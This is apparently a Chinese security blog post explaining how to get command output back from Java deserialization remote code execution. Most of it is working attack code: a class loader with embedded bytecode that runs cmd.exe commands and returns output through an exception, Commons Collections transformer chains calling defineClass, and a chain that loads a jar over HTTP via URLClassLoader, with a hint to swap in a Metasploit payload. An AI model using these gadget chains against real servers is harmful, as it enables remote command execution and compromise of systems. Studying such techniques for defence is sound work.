Java反序列化回顯解決方案

題外話

   這是一篇本應該早就完成的文章,但是由於各種原因拖延至此。之前有讀者就催我,但是實在是各種事情纏身,加上自己頹廢了一段時間導致現在才公佈。之後可能會斷更一段時間關於代碼審計方面文章,時間暫不確定。其實有幾個題材早也確定,但是實在是沒時間去整理素材,加上項目的更新,讓我變得更加繁忙,在此給位先說一聲對不起。


前言

   大多數Java反序列化漏洞都能執行命令,導致RCE。小夥伴們有沒有想過網絡上大多數payload都是以彈計算機爲止,但目標主機有沒有彈計算機,或者執行其他的命令的時候我們是並不知道的,因爲沒有回顯任何的結果。這篇文章以反序列化漏洞的回顯爲題,教你解決如何解決反序列化漏洞回顯。

PS: 爲避免代碼太長而導致的閱讀效果,故將完整的實驗代碼全部已經上傳至 https://github.com/SummerSec/JavaLearnVulnerability


defineclass異常回顯

   defineclass是java.lang.ClassLoader類下的一個類方法,將字節碼轉化爲Class類。
在這裏插入圖片描述
在這裏插入圖片描述


ClassLoder 類加載機制

   Java是一個依賴於JVM(Java虛擬機)實現的跨平臺的開發語言。Java程序在運行前需要先編譯成class文件,Java類初始化的時候會調用java.lang.ClassLoader加載類字節碼,ClassLoader會調用JVM的native方法(defineClass0/1/2)來定義一個java.lang.Class實例。

在這裏插入圖片描述
   類加載器有三個,根加載器Bootstrap、平臺類加載器PlatformClassLoader以及用戶類加載器AppClassLoader。用戶也可以自定義類加載器,自定義的類加載器需要繼承ClassLoader類。

在這裏插入圖片描述


類加載demo

   下面給出的是一個完整的用戶自定義加載器加載類字節碼的DEMO,Summer類字節碼怎麼獲取下文會講解,目前先看一下類加載器的實現。

溫馨提示:如果使用筆者在GitHub上項目,請先將Summer類刪除,或者移到其他地方。

public class demo2 extends ClassLoader {
    // Summer類名
    private static String testClassName = "summer.classload.Summer";
    // Summer.class類字節碼
    private static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 52, 0, 96, 10, 0, 24, 0, 53, 7, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 2, 0, 58, 10, 0, 2, 0, 59, 10, 0, 60, 0, 61, 7, 0, 62, 8, 0, 63, 10, 0, 64, 0, 65, 10, 0, 9, 0, 66, 7, 0, 67, 10, 0, 13, 0, 68, 7, 0, 69, 10, 0, 15, 0, 53, 10, 0, 13, 0, 70, 10, 0, 15, 0, 71, 8, 0, 72, 7, 0, 73, 10, 0, 15, 0, 74, 10, 0, 20, 0, 75, 7, 0, 76, 7, 0, 77, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 25, 76, 115, 117, 109, 109, 101, 114, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 47, 83, 117, 109, 109, 101, 114, 59, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 115, 116, 114, 101, 97, 109, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 12, 115, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 0, 27, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 59, 1, 0, 14, 98, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 6, 98, 117, 102, 102, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 108, 105, 110, 101, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 76, 7, 0, 55, 7, 0, 78, 7, 0, 62, 7, 0, 67, 7, 0, 69, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 11, 83, 117, 109, 109, 101, 114, 46, 106, 97, 118, 97, 12, 0, 25, 0, 79, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 25, 0, 80, 12, 0, 81, 0, 82, 7, 0, 83, 12, 0, 84, 0, 85, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 0, 3, 103, 98, 107, 7, 0, 86, 12, 0, 87, 0, 88, 12, 0, 25, 0, 89, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 12, 0, 25, 0, 90, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 12, 0, 91, 0, 92, 12, 0, 93, 0, 94, 1, 0, 1, 10, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 95, 0, 92, 12, 0, 25, 0, 26, 1, 0, 23, 115, 117, 109, 109, 101, 114, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 47, 83, 117, 109, 109, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 3, 40, 41, 86, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 115, 116, 97, 114, 116, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 1, 0, 7, 102, 111, 114, 78, 97, 109, 101, 1, 0, 46, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 1, 0, 50, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 41, 86, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 0, 33, 0, 23, 0, 24, 0, 0, 0, 0, 0, 1, 0, 1, 0, 25, 0, 26, 0, 2, 0, 27, 0, 0, 1, 27, 0, 6, 0, 7, 0, 0, 0, 112, 42, -73, 0, 1, -69, 0, 2, 89, 6, -67, 0, 3, 89, 3, 18, 4, 83, 89, 4, 18, 5, 83, 89, 5, 43, 83, -73, 0, 6, -74, 0, 7, -74, 0, 8, 77, -69, 0, 9, 89, 44, 18, 10, -72, 0, 11, -73, 0, 12, 78, -69, 0, 13, 89, 45, -73, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 1, 58, 6, 25, 4, -74, 0, 17, 89, 58, 6, -58, 0, 19, 25, 5, 25, 6, -74, 0, 18, 18, 19, -74, 0, 18, 87, -89, -1, -24, -69, 0, 20, 89, 25, 5, -74, 0, 21, -73, 0, 22, -65, 0, 0, 0, 3, 0, 28, 0, 0, 0, 38, 0, 9, 0, 0, 0, 7, 0, 4, 0, 8, 0, 36, 0, 9, 0, 50, 0, 10, 0, 60, 0, 11, 0, 69, 0, 12, 0, 72, 0, 14, 0, 83, 0, 15, 0, 99, 0, 18, 0, 29, 0, 0, 0, 72, 0, 7, 0, 0, 0, 112, 0, 30, 0, 31, 0, 0, 0, 0, 0, 112, 0, 32, 0, 33, 0, 1, 0, 36, 0, 76, 0, 34, 0, 35, 0, 2, 0, 50, 0, 62, 0, 36, 0, 37, 0, 3, 0, 60, 0, 52, 0, 38, 0, 39, 0, 4, 0, 69, 0, 43, 0, 40, 0, 41, 0, 5, 0, 72, 0, 40, 0, 42, 0, 33, 0, 6, 0, 43, 0, 0, 0, 31, 0, 2, -1, 0, 72, 0, 7, 7, 0, 44, 7, 0, 45, 7, 0, 46, 7, 0, 47, 7, 0, 48, 7, 0, 49, 7, 0, 45, 0, 0, 26, 0, 50, 0, 0, 0, 4, 0, 1, 0, 20, 0, 1, 0, 51, 0, 0, 0, 2, 0, 52,
    };
    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只處理Summer類
        if (name.equals(testClassName)) {
            // 調用JVM的defineClass方法定義Summer類
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }
        return super.findClass(name);
    }

    public static void main(String[] args) {
        // 創建自定義的類加載器
        demo2 loader = new demo2();
        try {
            // 使用自定義的類加載器加載TestHelloWorld類
            Class testClass = loader.loadClass(testClassName);
            // 反射創建Summer類,等價於 Summer t = new Summer(‘ipconfig);
            testClass.getConstructor(String.class).newInstance("ipconfig");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

Summer類代碼,這裏是將回顯結果使用異常類拋出。

public class Summer {
    public void Exec(String cmd) throws Exception {
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(streamReader);
        StringBuffer buffer = new StringBuffer();
        String line = null;
        while((line = bufferedReader.readLine()) != null) {
            buffer.append(line).append("\n");
        }
        throw new Exception(buffer.toString());
    }
}

在這裏插入圖片描述


   工具類將.class字節碼文件轉化成字節數組,可以添加自定義改造成適合自己方法。

public class FiletoBytes {

    public FiletoBytes(String file_name) {
    }
    /**
     * @Author:         summer
     * @CreateDate:     2020/5/26 14:39
     * @UpdateUser:     summer
     * @UpdateDate:     2020/5/26 14:39
     * @UpdateRemark:   修改內容
     * @Version:        v1.0.0
     * @Description:    只需要傳入文件的絕對路徑就可以進行轉化
     *  需要根據文件大小修改bytes大小
     */
    public String FiletoBytes(String filename ){
        String buf = null;
        // 20m
        byte[] bytes = new byte[4096];
        File file = new File(filename);

        FileInputStream fis = null;

        try {
            fis = new FileInputStream(file);

            fis.read(bytes);
            buf = Arrays.toString(bytes);
            fis.close();
            return buf;
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }


        return buf;
    }
    /**
     * @Author:         summer
     * @CreateDate:     2020/5/26 15:20
     * @UpdateUser:     summer
     * @UpdateDate:     2020/5/26 15:20
     * @UpdateRemark:   修改內容
     * @Version:        v1.0.0
     * @Description:    bytes大小需要傳入設置
     */
    public String FiletoBytes(String filename ,byte[] bytes){
        String buf = null;
        File file = new File(filename);

        FileInputStream fis = null;

        try {
            fis = new FileInputStream(file);

            fis.read(bytes);
            buf = Arrays.toString(bytes);
            fis.close();
            return buf;
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return buf;
    }

}

簡單使用demo,將Summer.class文件轉化。

public class demo1 {
    // Summer.class的絕對路徑
    // E:\Soures\JavaLearnVulnerability\Summer.class自行修改
    static final String file_name = "E:" + File.separator + "Soures" + File.separator + "JavaLearnVulnerability" + File.separator + "Summer.class";
    //
    static final byte[] bytes = new byte[1600];
    public static void main(String[] args) {
        FiletoBytes filetoBytes = new FiletoBytes(file_name);
//        System.out.println("直接傳入文件,默認bytes大小默認爲4kb");
//        System.out.println(filetoBytes.FiletoBytes(file_name));
        System.out.println("傳入文件和bytes");
        System.out.println(filetoBytes.FiletoBytes(file_name,bytes));

    }
}

溫馨提示:在轉文件的時候最好先看看文件大小,傳入合適的數組大小。因爲後面這些多餘出0要刪除,否則會報錯。
在這裏插入圖片描述


defineclass’s demo

public class defineclass extends ClassLoader{
    private static String classname = "summer.classload.Summer";
    // 部分字節碼,完整獲取github。
    private static byte[] classBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 52, 0, 96, 10, 0, 24, 0, 53, 7, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 2, 0, 58, 10, 0, 2, 0, 59, 10, 0, 60, 0, 61, 7, 0, 62, 8, 0, 63, 10, 0, 64, 0, 65, 10, 0, 9, 0, 66, 7, 0, 67,};

//使用反射的方法
    public static void main(String[] args) throws Exception {
        defineclass defineclass = new defineclass();
        Class cls = defineclass.defineClass(classname,classBytes,0,classBytes.length);
        cls.getConstructor(String.class).newInstance("whoami");

    }
}

在這裏插入圖片描述


ccdefineclass

   改寫cc鏈,來達到獲取回顯。這裏有一個坑,JDK自帶java.lang.ClassLoader類下的defineclass是權限是protected不能直接通過反射調用,故不顧慮使用這個類,筆者使用的是weblogic中的wlfullclient.jar!.org.mozilla.classfile.DefiningClassLoader
筆者這裏只給出部分實現代碼。

 Transformer[] transformers = new Transformer[] {
//                new ConstantTransformer(ClassLoader.class),
                new ConstantTransformer(DefiningClassLoader.class),
                new InvokerTransformer("getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[0]}),
                new InvokerTransformer("newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[0]}),
                new InvokerTransformer("defineClass",
                        new Class[]{String.class,byte[].class},
                        new Object[]{"summer.classload.Summer",bytes}),
                new InvokerTransformer("newInstance",
                        new Class[]{},
                        new Object[]{}),
                new InvokerTransformer("Exec",
                        new Class[]{String.class},
                        new Object[]{"ipconfig"}),
        };

URLClassLoader遠程加載文件回顯

   URLClassLoader是java.net下的類,繼承了java.lang.Classloader類對象。URLClassLoader可以從遠端或者本地加載jar/class文件。

在這裏插入圖片描述


URLClassLoader’s Demo

  1. 編寫exp代碼,代碼已經上傳至GitHub項目中。
  2. 編譯javac Summer.java
  3. 創建http服務 py -2 -m SimpleHTTPServer 8090
public class demo {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://127.0.0.1:8090/summer.jar");
//        URL url = new URL("file:e:/summer.jar");

        URLClassLoader ucl = new URLClassLoader(new URL[]{url});
        Class cls = ucl.loadClass("Summer");
        Method m = cls.getMethod("Exec",String.class);
        m.invoke(cls.newInstance(),"ipconfig");


    }
}

在這裏插入圖片描述
在這裏插入圖片描述


CCURLClassLoader

   同樣使用cc鏈來改造此回顯方法,試想一下把這個jar換成msf的payload可以達到什麼效果呢?這裏我不實現,自己可以去腦洞實現一下,很簡單的,我相信看過我文章的人都應該會。

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(URLClassLoader.class),
                new InvokerTransformer("getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{URL[].class}}),
                new InvokerTransformer("newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8090/summer.jar")}}}),
                new InvokerTransformer("loadClass",
                        new Class[]{String.class},
                        new Object[]{"summer"}),
                new InvokerTransformer("getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{String.class}}),
                new InvokerTransformer("newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new String[]{"ipconfig"}})


        };

總結

   筆者這裏總結都是以CC鏈爲改造基礎,其實CC還有很多玩法,大家可以腦洞一下,Java反序列化回顯也不止本文中兩種,比例說RMI、weblogic的T3協議。學習無止境,努力就完事。

於無常處知有情,於有情處知衆生..........


參考

https://javasec.org/javase/ClassLoader/
https://xz.aliyun.com/t/7740

Java小白修煉手冊

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章